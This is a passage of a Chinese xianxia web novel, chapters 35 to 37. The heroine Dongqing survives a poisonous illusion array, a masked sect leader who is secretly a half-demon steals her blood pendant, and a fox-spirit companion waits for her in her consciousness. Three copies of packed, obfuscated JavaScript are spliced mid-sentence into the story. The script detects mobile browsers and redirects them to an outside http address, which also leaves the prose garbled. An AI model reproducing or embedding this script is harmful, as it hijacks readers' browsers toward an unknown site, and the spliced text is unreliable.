冬青轻轻吁出一口浊气,幸亏方才叫的是“小红”而非“池南”,否则怕是要被布阵之人听了去。 一直消耗真气也不是办法,冬青站在原地,一边观察,一边飞速思考对策,忽然,指尖触到了一个坚硬冰凉的物体。 是乾坤币。 冬青一股脑把乾坤币里所有法器倒出来,还真让她发现了一个适用的——一把花伞,伞柄挂着个木牌,一如既往的“烬”字兰花,只是木牌正中写着五个大字,“雨落闲撑花”。 “……” 冬青握住伞柄,将其撑开。 伞面旋动间,无数花瓣簌簌落下,洋洋洒洒沾了她一身,旋即化作万千细碎光点,在伞面之下撑起一圈柔和而稳固的光晕护罩。 伞檐垂下一圈琉璃小花灯,闪烁着突兀的绚丽光芒,在这杀机四伏的诡谲阵法中,显得格格不入。 死马当活马医吧。 她撑着伞在雾中前行,浓重雾气伸手不见五指,冬青无头苍蝇一样转来转去,惊奇发现她无论往哪个方向走,都碰不到任何障碍物。 这样耗下去不是办法,她干脆将伞用力插在地上,伞柄陷进泥地里,若是贺兰烬在场定要说她暴殄天物。 冬青闭目盘坐于伞下,将真气缓缓向外蔓延。识海之中,这片被迷雾笼罩的空间逐渐显现出模糊的轮廓。 很快,整片密林的景象便清晰地投射在她的识海中。 冬青蹙眉起身,这里仍是方才那片树林,只是那浓雾如同一个巨大的茧,将她紧紧包裹在中心,她并非没有碰到障碍,而是一直在原地打转,从未真正走出雾气的范围。 阵法至今未显露出直接杀意,当务之急,是找出阵眼破局。 在识海中,她可以无惧浓雾束缚,轻而易举的走出了雾气。 整片识海充斥着她的真气,像一对对触角,密林里一丝一毫的动静皆无处遁形。 她慢慢在树林里走着,忽然抬手轻挥,整片空间里骤然刮起狂风。 狂风吹的枝叶狂颤,树木折腰。 震耳欲聋的风声中,赫然有七棵树岿然不动。 与此同时,现实中冬青骤然睁眼,一把收起花伞,真气如利剑般穿透浓雾,向那七棵树射去。 树木拦腰折断的巨响传来,周身浓雾骤然消散,取而代之的是瓢泼大雨毫无征兆的当头砸下,好像有人在她头顶上倒了一条江一般,眨眼就将她淋成落汤鸡。 雨水溅起的泥土污了华丽的伞面,冬青弯腰捡起伞,起身时一阵天旋地转,她忙将伞尖扎在地上,稳住身形。 眼前一阵阵发黑,胸口窒闷。 那雾有毒! 冬青从乾坤币里拿出一堆五花八门的瓷瓶,从柳又青稀奇古怪的丸药中找出了毫不起眼的解毒丸。 她吞下解毒丸,将伞重新撑了起来。 雨线密集,她透过一片白茫茫环视四周,心渐渐沉下。 她还在阵里。 布阵之人是想将她活活耗死吗? 冬青强迫自己冷静下来,进入识海里,如法炮制,再度破阵。 又七棵树轰然倒下之后,周遭环境随之巨变,鹅毛大雪兜头洒下,寒意刺骨。 雾气,冷雨,大雪,艳阳,狂风…… 冬青不知在这诡异的阵法中轮回了多少次,每一次找到阵眼、倾尽全力破开,换来的只是另一种更严酷的环境和更多的消耗。 她的真气几近枯竭,经脉因过度压榨而灼痛不已,每一次呼吸都带着铁锈般的腥气。 终于,当她用最后一丝气力,斩断最后一重变化的七棵树时,她再也支撑不住,喉头一甜,猛地喷出一大口乌黑的血液。 冬青身体晃了晃,膝盖一软,重重地单膝跪倒在地,用颤抖的手臂勉强支撑着才没有完全倒下。 那柄早已破烂不堪的花伞歪倒在一旁,伞面上的琉璃小花灯碎了大半,光芒黯淡。 随着真气衰竭,对毒素的抵抗也在减弱。 一阵阵眩晕不断袭来,视野开始模糊、晃动,耳边响起嗡嗡的鸣响,思考变得像在泥沼中跋涉,异常艰难。 她用力咬了一下舌尖,试图用尖锐的痛楚让自己保持清醒。冷汗顺着她的额角滑落,与雨水或是血水混在一起。 不能倒下…… 她必须……出去…… 意识如同风中残烛,身体濒临极限,她艰难地抬起沉重的眼皮,环视四周。 环境似乎没有再次变幻,但那种被无形牢笼困住的感觉依然存在。 她靠在树桩上,仰头看着铅灰的天,剧痛后知后觉地席卷全身,又在极致的痛苦中逐渐变得麻木。 就在这时,身下的土地毫无征兆地塌陷,露出一个深不见底的黑洞! 冬青身下骤然一空,整个人向下急坠! 她奋力伸出手,想要控制一根藤蔓将她捞上去,可真气还没从掌心里出去,她便眼前一黑,彻底失去意识。 无尽的黑暗漫长仿佛没有尽头,她的身躯最终“咚”的一声沉闷落地,回音在绝对的寂静中徒劳回荡了几圈,终归于死寂。 不知过了多久,远处传来了清晰的脚步声。 嗒、嗒、嗒…… 不紧不慢,逐渐逼近。 黑暗中,一个高大人影停在了身前。 玄铁面具反射着冰冷的微光,席子昂蹲下身来,看向冬青。 血镝从她衣领里掉出来,落在她脸颊旁。 席子昂伸手,握住血镝,用力一扯——脆弱的细绳瞬间崩断,被他收进乾坤币里。 忽然,他的动作顿住了。他看着自己的指尖,上面沾染了冬青滴落在血镝上尚未干透的血。 一股异常熟悉的气息自那血迹传来。席子昂鬼使神差地凑近,伸出舌尖,极轻地舔了一下。 下一秒,他瞳孔骤然收缩! 紧接着,他竟毫无顾忌地放声大笑起来!森然疯狂的笑声在这无底深洞中来回碰撞,回荡不绝。 他猛地俯下身,冰凉的手指用力捏住冬青的下颌,声音里带着一种发现猎物的、血腥的兴奋,“原来……你我是同样的人啊……” 他染血的指尖近乎怜爱地抚过她冰冷的面颊,“忽然就舍不得这么杀了你了。” 他手指轻勾,冬青身体如枯叶般浮起,两人身形一闪,消失在无尽漆黑中。 演武场上,燕明光谨遵他师兄的吩咐,在场内寻找左肩有伤的人。 他锐利的视线一遍遍扫过在场弟子,甚至跃上树梢,拾起小石子,一个个试探性地弹射过去。 梅景正与沈秋溪切磋符道,全神贯注之际冷不防一块石子猛砸他肩头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362881|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手中刚聚形的青火爆开,将他炸了个脸黑。 他顶着焦糊的额发恶狠狠回首,罪魁祸首燕明光正毫无歉意地笑着,向他招了招手。 梅景第一次在众目睽睽下失了风度,指着燕明光破口大骂,“燕明光!你有病是不是!” “抱歉抱歉,看你肩上有只虫子,本想帮你掸去,结果好心办了坏事。”燕明光一个鲤鱼打挺跃下来,走到他身前,伸手摸了一把尚有余温的焦糊头发,“不过你一个符修,想要恢复过来很容易吧?” 梅景气急败坏的画了道符往自己额头上一贴,眨眼便恢复原来的英俊容貌。 这时,关至从一侧气喘吁吁跑来,边跑边向沈秋溪使劲招手。 梅景挑眉,看向沈秋溪,戏谑道,“呦,你们仙人顶的手下败将来了。” “沈……沈公子!冬青……冬青她……”关至气喘吁吁,话都说不清。 沈秋溪神色一凛,皱眉急问,“你慢慢说,冬青怎么了?” 关至狠咬自己舌头,总算将其捋直,他大声道,“冬青在西边树林里,晕倒啦!” “什么?!”沈秋溪和燕明光同时失声道,一个跟着关至前去西边树林,一个转身疾奔去找自己师兄。 一旁的贺兰烬也听到了动静,将怀中的流油塞给毕水,抬脚便要跟去。 一只粗粝的大手却蓦地拦在他身前。 “你去做什么?”贺兰家主贺兰虚淮垂眸睨着他,声音不带波澜,“与你有何干系?” “我……” “你的修为停滞多久了。”并非疑问,而是平淡的陈述,贺兰虚淮的语气重了几分,“我何时才能将贺兰家的重担,交予你手?” 贺兰烬望了一眼人群消失的方向,又低头看了看腰间那枚刻着“贺兰”二字的黑檀木牌,最终垂下头,闷声道:“……我知道了。” 树林里一片狼藉,几棵粗壮无比的树木被拦腰斩断,砸在其他树木上,连着砸倒一片。 冬青就侧躺在狼藉中央,下颌和衣襟沾着干涸的血迹。 沈秋溪慌忙上前,颤抖着伸出手指伸向她颈侧,指腹下传来微弱的跳动,他不敢有一刻迟疑,立刻把人打横抱起冲向府宅,“快!叫紫荷!” 天上淅淅沥沥下起雨来,沈秋溪燃了张避水符,微光笼罩两人,他在渐密的雨幕中发足狂奔。 怀中的人轻得惊人,面色白得透明,那暗红的血痕更是刺目。她的手无力地垂下,随着奔跑的动作轻轻晃动。 池南仓皇赶来时,撞见的正是这一幕。他眼睫剧烈颤动,冰凉的雨水兜头浇下,却远不及心底泛起的寒意。 他眼神瞬间冰冷得吓人,快步无声地跟上沈秋溪。 仙人顶小院内得知冬青受伤的消息后炸翻了天。 沈秋溪抱着人回来后就直冲进屋内,紫荷后脚跟进去把他轰了出来,只留柳又青在一旁打下手。 院落里尤其是云开,他急的来回在院内踱步。 就这么一棵独苗苗啊,千万别折在这里啊! “别担心,紫荷是数一数二的丹修,冬青不会有事。”沈秋溪虽自己也心焦,仍强自镇定地安抚众人。 而从得到消息那一刻起,池南便始终一言不发,只是沉默地立在屋檐下,周身弥漫着令人窒息的低气压。燕明光守在他身边,大气都不敢出。 良久,紧闭的房门终于“吱呀”一声被推开。 紫荷满额大汗地走出来,人群立刻呼啦一下围了上去。关至被人挤到最后面,抻着脖子焦急大喊:“紫荷姐姐!怎么样啊?我冬青妹妹没事吧?” 紫荷睇了他一眼,随后对众人说,“人没事,只是中毒颇深,还未醒来。” “中毒?”云开天师长眉拧在一起,“紫荷,可知道什么毒?” “是一种很罕见的毒。”紫荷接过沈秋溪递来的方巾擦了擦额头上的汗,继续说道,“是一种幻毒,常用在阵法里,让人陷在意识中迷失方向,挣脱不得。” 梅景抱臂站在一边,她师母还不容易想收一个人做关门弟子,他也不愿看其死在面前,“还未醒来是什么意思?” “什么时候从幻境中挣脱出来,什么时候就醒了。” 36. 第 36 章 冷。 全身都冷。 冬青脑子里不断回荡着这个想法,下一刻,她骤然睁眼。 入目一片漆黑,无边无际,寂静无声。 这是哪里? 冬青从一片浅水中坐起来,水珠滴答滚落,水面随着她的动作轻轻晃动,眨眼便恢复平静。 “冬青!你怎么坐在这里呀!” 忽然一个稚童的声音从头顶传来,冬青猛然回头看去,一张熟悉又遥远的娃娃脸正笑眯眯的看着她。 “阿秀?”冬青难以置信的唤出那个尘封多年的名字。 “冬青,快走啦!我阿娘做了栗子糕,就等你了!”那个叫阿秀的小姑娘把她从水里拽起来,不由分说拉着她往前走。 眼前忽然明亮起来,水中倒映出熟悉的房屋街巷,华灯初上,红色灯影在水中晃成细碎的波浪。 冬青抬起头看向前方,记忆深处的某个灰蒙的地方被猝不及防点亮,她被小小的阿秀拉着,木偶般呆楞地往前走。 她一脚踏进泥泞的的水坑,飞溅起来的泥点黏在她的衣摆上,很快干涸。她被带着穿过一条条逐渐熟悉起来的巷子,停在了一户人家面前。 “小冬青,你来啦?”一个和蔼的妇人站在门前,遥遥向她们招手。 她拉着冬青和阿秀跨进门内,院内飘来扑鼻的栗子甜香,银杏叶漫天飘落,恍然如隔长日,温暖的不真实。 “再过个把月,就是小冬青的五岁生辰了吧?”阿秀娘把栗子糕掰成小块,分别喂给冬青和阿秀。 冬青下意识摊开自己生茧粗糙的手掌,怔然望着阿秀娘,再一低头时,发现自己的手掌竟慢慢变小,变白嫩,变成一个稚儿拥有的凝脂般的手掌。 她是在做梦吗? 可为什么栗子糕在嘴里融化的温厚香浓如此真实? 她抬头看着咯咯笑的阿秀,这是她五岁前最好的朋友,即便十三年过去,诸多事情已然遗忘,可这张笑起来眼睛就成一条缝的脸,她竟在一瞬间就清晰地记起来了。 “阿秀……” “冬青,我明天就要搬走了。”阿秀笑嘻嘻的,仿佛在说今天换了一件新衣裳,“我娘说要搬去一个山清水秀的大城,住好——大好大的宅子。” “什……” 阿秀忽然竖起一根食指贴在她嘴唇上,她站起身来,在冬青困惑的目光中牵着娘亲的手走到门前,回头朝她挥了挥手,“冬青,我走啦。” “阿秀……阿秀!”冬青慌忙起身,栗子糕掉在地上,被溅着泥水的鞋子碾过。 阿秀和阿秀娘一大一小的身影越来越远,渐渐模糊在巷口的光晕里。 冬青踉跄奔到门口,却被门槛绊住,狼狈摔在地上。 “阿秀!”她伸长脖子声嘶力竭的喊着,声音在空荡的巷子里显得格外凄惶。 眼眶越来越酸,阿秀已经消失不见,她从地上撑起上半身来,回头望着几乎与她肩膀平齐的门槛,眼睑不住湿润起来。 十三年前的记忆恍若隔世,可那种撕心裂肺的钝痛却如此清晰。 冬青看着模糊的巷口,声音沙哑,“为什么和十三年前一样……为什么都要这样急着要离开我?” “冬青?你怎么摔在地上?”一个极尽温柔的声音从耳畔传来,随后一双柔软又有力的手小心翼翼将她从地上搀起。 一个面容模糊的女人把她抱在怀里,用袖口细细擦干了她的眼泪,一下一下,轻柔地拍着她的脊背,“我们冬青受什么委屈了?跟娘讲讲,好不好?” “娘……?”冬青难以置信的揉着眼睛看去,模糊面庞渐渐清晰,一个面容明丽,顾盼生辉的女子含笑看着她,温暖的手掌抚在她头顶,似乎有魔力一般,让她因悲痛而狂跳不已的心脏慢慢平稳下来。 冬青鼻尖酸酸的,试探性的将颤抖的手轻轻贴在女子脸颊上,温软的触感从指尖传来,她再一次忍不住红了眼眶。 真好啊。冬青想,如果这是梦境,如果这注定是一场泡影,那么祈求它,停留地再久些吧。 娘抱着她回了巷子尽头的一处院落,青砖上半干半湿的,空气中浮动着刚下过雨的潮湿土腥气,娘把她放到屋子里,抬头看了看天。 “好像又要下雨了。”那张姣好的面容上,柳眉微微皱起,娘取下蓑衣,披在身上,她蹲下身对冬青说,“雨天路滑,娘去镇外迎迎你爹,你在家里乖乖待着,等娘回来。” 冬青心头一跳,几乎本能的,立刻死死攥住了娘的手指。 咔嚓一道闪电当空劈下,照亮了她惊恐惨白的脸庞。 十二年前的时空仿佛与此刻骤然重叠,冬青脱口而出,喊出了那年没来得及说出口的话。 “娘,别去!” “没事的,娘去去就回。”她抽出手指,伸手把冬青的手掌包裹住,语气带着些许嗔怪,“怎么这样凉,乖,等娘回来,一会娘回来给你煲汤。” 不等冬青说话,那藕粉色身影便在滚滚雷声中决然跨出门去,消失在电闪雷鸣交织的雨幕深处。 波纹内,只剩下那个昏暗门前的小小的、无助的身影。 席子昂透过月牙形镜子看着幻境中的一幕,不由笑出了声。 崔香雪站在一旁,不解地看向他。 “你不觉得,将人拽进最美妙的梦境里,再让她亲眼看着这一切一点点破碎、湮灭……世上还有比这更美妙的事吗?”席子昂斜睇她,语气懒散,眼神却是她从未见过的疯魔与玩味。 崔香雪看着那冰凉的眼神,猛地打了个寒颤。 另一边,仙人顶的院落内,气氛凝重如大石,压在每个人心头。 “没有别的办法了吗?”柳又青追问。 紫荷沉思片刻,“不算有。” “不算有是什么意思?” “冬青现在深陷幻毒,意识被困在幻境最深处。外人无法介入幻境本身,那是由她心念所生。但若她凭借自身意志挣脱了幻境,意识回归识海时,却可能因心力交瘁而迷失在其中,依旧无法苏醒。所以,如果有人能进入她的识海,在那里等着她,就能增加一成她彻底醒来的把握。”紫荷叹了口气,“但诸位都知道,识海不是随便就能进的。” 这时,立在屋檐下的狐狸忽然用尾巴扫了一下燕明光。 燕明光低头看去,心领神会。他站出来,“我来吧。” 一瞬间,所有人都抬头望去。 燕明光坦然,“诸位应当知道,家师弗如仙师钻研识海已久,我也曾学了些皮毛秘术,可以一试。” 燕明光对识海的造诣如何,在场的无从得知,但弗如仙师响当当的名号可为贯绝四海,云开天师作为仙人顶在场的唯一一位长老,当即拍板,“那就拜托燕师侄了。” 在众人一门心思把希望压在燕明光身上,以致连他进屋时身后跟着一只狐狸都没人察觉。 池南在关门的那一刻立刻窜到榻前,冬青昏睡中眉头仍旧紧皱着,他不敢耽搁,转头跟燕明光道,“我要进冬青识海,明光,你帮我护法。” 说罢,一缕红色真气从他额间飘出,在空中盘旋一瞬,如同找到归处般,轻松没入冬青眉心。 池南在熟悉的识海中睁开眼睛,眼前是那棵参天巨树,树干上,一个光漩涡呈现着与识海内截然不同的景象,一个小姑娘坐在门槛上,定定望着远方。 即便面庞尚且稚嫩,池南还是一眼就认出来了,这是幼时的冬青。 幻境中的时间仿佛流逝得飞快。冬青也意识到了这只是幻境,可她不愿离开。 十几年了,娘能入梦的次数寥寥无几,她本以为自己对娘的印象早已模糊,感情也已淡薄,可此刻,她心底却涌动着近乎贪婪的渴望——她想再见娘一面。 于是她便一直等,像小时候那样,坐在门槛上,从旭日东升等到日落西山,又从无尽长夜等到黎明破晓,等走了絮叨关心的李大娘一家,又等走了沉默寡言的王二叔一家。 “小冬青,先跟我们一起走吧,这雨下了这么久,再不走,镇子怕是要淹了!”邻居来劝冬青离开,冬青却固执地摇了摇头。 现实里,她最后等来的是娘的死讯,如今她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362882|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟痴人说梦般心存侥幸,万一呢?万一梦境里会有转机呢? 于是她继续等下去,等到整个镇子人去楼空,等到家里的存粮都耗空,等了不知道多少个日夜,等来的却不是娘。 一双锦缎乌靴停在她面前,毫不客气地将她拽起来,“跟我走。” 熟悉的冰冷声音钻进耳朵,冬青抬起头,闻儒可正不耐地俯视着她,“跟我回闻家。” 冬青僵住了一般,她听见自己颤抖的声音,僵硬地问出那个她恐惧的问题,“……我娘呢?” “你娘没了。” 短短几个字仿佛闷雷炸响在她耳畔,她之前为自己做好的心理准备霎时溃不成军,再次经历的丧母之痛如钝刀子扎进肺腑,绞得她难以呼吸,浑浑噩噩地被拖拽着向前。 身旁的景象开始飞速流转、变幻。冬青的身量逐渐抽高,模样褪去稚嫩,长大成人。 幻境如同一个戏台,机械地重演着她过往经历的片段,而天空,始终下着淅淅沥沥的冷雨。 贺伯站在气派的闻府门口,语气复杂地迎她进门,“小冬青,你回来啦?” 闻家兄弟厌恶地将她赶去柴房,“你不许姓闻,你个杂种,不配冠这个姓!” 集市上卖藕的婆婆给她塞了一文钱,“藏好了,别被人发现。” 书塾先生笑着将她拒之门外,“小姑娘,你有钱否?上书塾是要交学费的。” 仙人顶招生将她轰出山门,“没有灵根的废物来报什么名?” 紫荷师姐在山门外给她撑伞,“我正好缺个打理院落的帮手,你要不要来?” 冬青晕晕乎乎的往前走,平野山的老道长忽然出现,往她手里塞了一本书,随后笑着转身离去。 一只火红的狐狸从一旁黑暗中窜出来,在她脚边停顿了一下,随后变成人形跑向前,跑到一群身着折云宗弟子服的人身旁,与他们大步远去,再未回头。 幻境中一直在下雨,一如冬青一直在被迫接受离别。 她被浇得浑身发冷,双手紧紧握着那本御物心法,用力到双手颤抖指节发白。 “原来是用这种方法吗?”冬青忽然低头笑了一下,带着疲惫与嘲弄。 她松开手,那本被攥的皱巴巴的书掉落在地,“先是将我的身体磨到极限,再摧残我的心境,让我在这里崩溃迷失。” 雨不知何时慢慢停了,整片空间重新归于寂静漆黑。 她贪恋那点滴温情不假,想留住在乎的人也不假,但这不代表她会就此沉沦,一蹶不振。 冬青一步一步往前走。 她现在,找回了灵根,开始修炼,逐渐从一个人人厌弃的杂役走到受人高看的御物术士,还不够,她还想继续向上,站在山顶上,看遍世间风景,她不能倒在这里。 她猛地睁开赤红的双眼,面前是一扇散发着柔和微光的门。 这扇光门一直在她身前,只不过她方才被绊住了脚,冬青抬起头来,不知道在透过这片虚无看向谁,她静静注视了片刻,随后收回视线,毫不犹豫地推开了门。 一个红色身影静静伫立在门前。 池南提着一只明亮温暖的灯笼,站在树干前,泪流满面的看向她。 冬青看着那汇聚到下颌的将落未落的泪滴,回头看了一眼,愣道,“你……都看到了?” 他慌忙低下头去,声音有些闷,“紫荷说如果有人在这里等你,你出幻境后不会迷失方向。” 他顿了顿,再抬头时已神色如常,只是微红的眼眶暴露了情绪,“冬青,我不是存心要看你的过去。” 可是他忍不住,只是旁观,他便已经难过到不住流泪。 “别难过。”冬青声音出奇的平静,甚至递给他一方干净的帕子。“你看到的那些,不过是布阵之人故意为之,放大我过去的痛苦,不过是想击垮我。” 她顿了顿,语气中带着一种被磨难淬炼过的平静力量,“如你所见,我并没有被他击垮。” “你不应该为我难过。”她看着他,弯起唇角,“你该为我感到骄傲才是。” 37. 第 37 章 “没想到她还有些本事。”席子昂看着一片漆黑的月牙,低声笑了一下。 崔香雪迟疑片刻,还是决定问出来,“谷主,血镝不是已经到手?您为什么还对冬青……” 话音未落,席子昂忽然转过身来,卸下了他的面具,原本光滑的人皮上瞬间长出白色的毛发,眨眼便从人头变成了雪豹头。 “因为……她跟我是一样。”席子昂笑道,“是个半妖。” “那您,是要拉拢她?”崔香雪问。 “这个身份是不能见光的,无论在人类还是妖族眼中,我们都代表着背叛与异类。”席子昂近乎透明的蓝色竖瞳冰冷至极,“再观察一段时间,至于是收拢她,还是毁掉她,全看她自己。” 日暮西山,倦鸟归林。 榻上,冬青缓缓睁开眼睛。 幻境中她恍若重活一世,醒来格外疲惫。 她下意识伸手探向衣襟,原本挂着血镝的地方空空如也,“果然,是冲着血镝来的。” 池南点头,从乾坤币里勾出一条血红的坠子——与冬青之前挂在脖子上的如出一辙。 “物归原主。” 原来早在两人意识到望月谷有猫腻的那个晚上,冬青便决定暂时让池南保管血镝,不然她这个活靶子,很容易让血镝流入歹人之手。 本是为了有备无患,却没成想真的一语成谶。 “还是放在你那里。”冬青将血镝推回去,“早晚有一天,那人会发现到手的血镝是假的,届时你在折云宗,山高皇帝远,不会被波及。” 见他不动,冬青补充道,“这可是我娘留给我的,你要替我保管好。” 池南深深看了她一眼,才把血镝小心翼翼的放回乾坤币。 “还有,关至说那晚的黑猫是崔香雪。”冬青坐起身来,“但我感觉布阵之人不是她,她应当布不来这么高级的阵法。” “你们在说什么?”燕明光一头雾水,“崔香雪是妖?!” 池南把他扒拉到一边,“除了她,布阵之人也只有一个人了。” 冬青抬起眼皮与他对视,两人都在彼此眼中看见了答案。 望月谷谷主,席子昂。 冬青醒来的消息很快传遍都清山,床榻前围满了看望的人。 柳又青抱着冬青嚎啕大哭,梅景听得头疼,上手把她拉开。 他两指夹着她袖子,嫌弃道,“你别嚎了,人都醒了,不知道的以为你哭丧呢。” “你说什么?!”柳又青一把鼻涕一把泪地回头,恶狠狠的盯着梅景,抬手将不知道是眼泪还是鼻涕的液体抹在他干净整洁的弟子服上。 两个人从东屋打到西屋,最后还是沈秋溪以他们吵到冬青休息为由把两人拎了出去。 他一手拎一个,三人跨出屋门的时候正巧看见云开天师对着新月拜三拜,嘴里念念有词,“仙人顶历代各位宗主保佑,这一棵独苗苗活下来了!” 沈秋溪:“……” 柳又青:“……” 梅景:“……” “这是你们仙人顶的长老?”梅景忍不住偏头问。 “呃……”沈秋溪眉头跳了跳,“可能是吧。” “反正今秋内门考核我是肯定不会拜入云开门下。”柳又青抱臂,“神神叨叨的,不知道以为江湖老骗子呢!” 江湖老骗子显然没聋,阴恻恻望过来,三人立刻装作若无其事的样子,飞快溜走了。 翌日,冬青找到关至。 “看见您没事,我这在嗓子眼吊了一天的心也总算是放下了!”关至点头哈腰搓着手,“当时发现您倒在林子里,可把我吓的呦!好在您没事!” 他特意把“发现”两个字咬的特别重,生怕冬青不知道是他去叫人的。 冬青坐在榻边看着他表演,手肘支在膝盖上,手背撑着下巴,“我有件事拜托你,不知你愿意否。” 关至双眼放光,差点扑通一声跪在地上,“您吩咐!上刀山下火海,我关至任凭您差遣!” “你也知道,我有意入望月谷。”冬青看着他越来越亮的双眼,面不改色道,“但贵宗在南氏,山遥水远,知之甚少,因此我想拜托你帮我多多留意谷主的消息,我好早日拜入贵宗。” “这个……”关至挠了挠头,“谷主行踪不定,在宗门内我都很难能见他一面。” “那换个人选,”冬青站起身来,把一张纸轻轻放到他手里,“帮我多留意崔香雪,日后保不齐,她就是你我共同的师姐了。” 关至颤抖着手,小心翼翼的掀开纸张一角,“御物心法”四个字跳入眼帘,他“啪”一声把纸合上,心脏狂跳地点了点头,“您放心,包在我身上!” 冬青轻轻拍了两下他的肩膀,眼睫一垂一抬,意味深长的扫了一眼被关至攥到变形的纸,翩然离开,“那就拜托你了。” 夜深人静之时,关至满怀激动郑重其事地将皱巴巴的纸张铺在桌上,慢慢用手掌碾平,随后像是对待世间至宝一般,慢慢地,小心翼翼地,将对折的纸展开。 上面只有短短两行字。 御物心法第一式: 芥子须弥。 “?” 关至表情空白地翻到背面,只见上面用小字写着“一条消息换一个字,你赚翻了”。 “……???” 关至难以置信地翻来覆去看了好几遍,又对着油灯看了又看,才终于确定纸上确确实实只有短短两行字而已。 他悲怆的望着月亮,颓废片刻后一个鲤鱼打挺猛的坐起。 不就是消息么,他现在就去盯着崔师姐! 于是他欢天喜地地去扒崔香雪窗户,结果就是被啪啪两巴掌扇了出来。 这几日华胥问道可谓鸡飞狗跳,但各宗门也不算收获全无,其中都清山的演武场贡献惨烈,以自身被炸个大坑为代价,让各宗门之间对彼此的实力有了初步了解。 短短几日都清山经历了风雨雷电,再待下去恐怕整座山都要被夷为平地,苍樾泽没有办法,只能在华胥问道结束的时候看似意犹未尽实则欢天喜地地把众人送下山。 远山苍翠朦胧,山脚雾气氤氲,各宗门一个接一个地开传送门离开,不多时,便只剩仙人顶和折云宗还盘桓在山脚。 那边燕明光已经打开了传送门,在这边能听到草木青山的鸟鸣,折云宗弟子们一个接一个地走进门里,池南站在最末,回头望向冬青。 天青色的旧袍在雾气笼罩下颜色发白,瘦削的身影背对着他笔挺地站着,在等云开天师开传送门。 许是察觉到他的目光,那身影垂在身侧的手指蜷了一下,却并未回头。 折云宗的人已经尽数走进,燕明光低头看向频频回望的池南,轻声问,“师兄,再等一会吗?” 池南看了一眼传送门,再次回头望去——云开已经打开了传送门,冬青坠在队伍最后,跟着人群慢慢走着。 “不等了,走吧。”他收回视线,迈进传送门。 身后强光慢慢消失,冬青回头看去,恰好看见折云宗传送门关闭的瞬间。 “冬青,走啦。”柳又青已经一脚跨进传送门,见她没跟上,伸手拽了拽她的衣袖。 “嗯。”冬青收回视线,“走吧。” 折云宗坐落于北诏草木青山之上,享有天下第一宗的美誉,宗门内共有五院,分别是铃台、木槐、沧溟、流霞和孤鸿,对应着剑符器丹阵五道。 池南和燕明光直奔铃台院最深处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362883|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的悬崖,云海在崖边翻涌,松涛掩映间,可见一处清雅院落。 这是池南的屋子,因常年松风呼啸不止,他为其取名叫快哉风。 两人推开门,扒开书架上堆积如山的剑谱,按下隐蔽的密室机关。 书架无声滑开,露出一条蜿蜒深黑的密道。 燕明光打开火折子,微弱火光照亮前路。两人一路向里,冷风扑面而来,吹的火苗愈发微弱,看上去随时要熄灭。 直到前方豁然开朗,一间灯火通明的密室出现在眼前。 密室的石壁上挂着一柄银白长剑,在壁龛烛火的照耀下,剑身流淌着着凛冽的寒芒。 软塌上躺着一面容安详,轮廓深刻的少年,若非胸口尚有微弱起伏,任谁看那青白的脸都会以为这是一具没有生息的躯体。 池南往前走了两步,从狐狸变成人形,将近乎透明的手轻轻盖在榻上自己的额头上。 精纯真气顺着经脉涌入体内,他的身影越来越透明。 突然,他动作一顿,方才灌入真身的真气逆涌,铺天盖地钻回幻化出来的体内。 池南身形一晃,偏头吐出一口鲜血。 “师兄!”燕明光急忙上前,“没事吧?” “没事。”池南抹掉唇边血迹,“看来还不行。” 燕明光皱眉看着他,“方才就差一点,流霞院那里有补元丹,我去要一颗来。” “先不急。”池南拦住他,“师父呢?” “回来的时候听人说除妖队又抓了一批妖回来,师父安置好后就去闭关了。”燕明光把他按在椅子上,“师兄,我这就去盯着飞英真君炼一颗上好的补元丹来,你且等着。” 没等池南说话,燕明光便风风火火的走了。 密室空气憋闷,他索性也回到院内,快哉风规模不大,却别具匠心,各处挂着池南游历四海带回来的各式各样的小玩意,种类繁多却也不杂乱,有种独特的美感。 池南走后,快哉风一直是燕明光替他打理,但燕明光是除妖队的大师兄,因此也无法一直停留在宗门里,想必他也有日子没回来了,石桌上已然蒙了一层薄灰。 他将灰擦干净,取出茶具,泡了一壶君山银针。 琉璃盏内,琥珀色的茶汤清亮,倒映出狐狸的金瞳。 他抿了一口茶,感觉怪怪的。 “这茶怎么变味了?” 他给无相斟了一杯,后者品都不品,一饮而尽,咂咂嘴道,“你才变味了呢,放着上好的茶不喝,给我!” “你不觉得口感有些滞涩吗?” 无相扶额,“大少爷,您之前喝的不一直都是君山银针吗?怎么在外面待久了,元神没养回来,口味倒还养刁了!” 外面? 池南敏锐地捕捉到这两个字眼,忽然像是明白了什么。他随手将那壶价格不菲的君山银针泼到院角的松树下,拉起无相就走:“跟我去趟木槐院!” 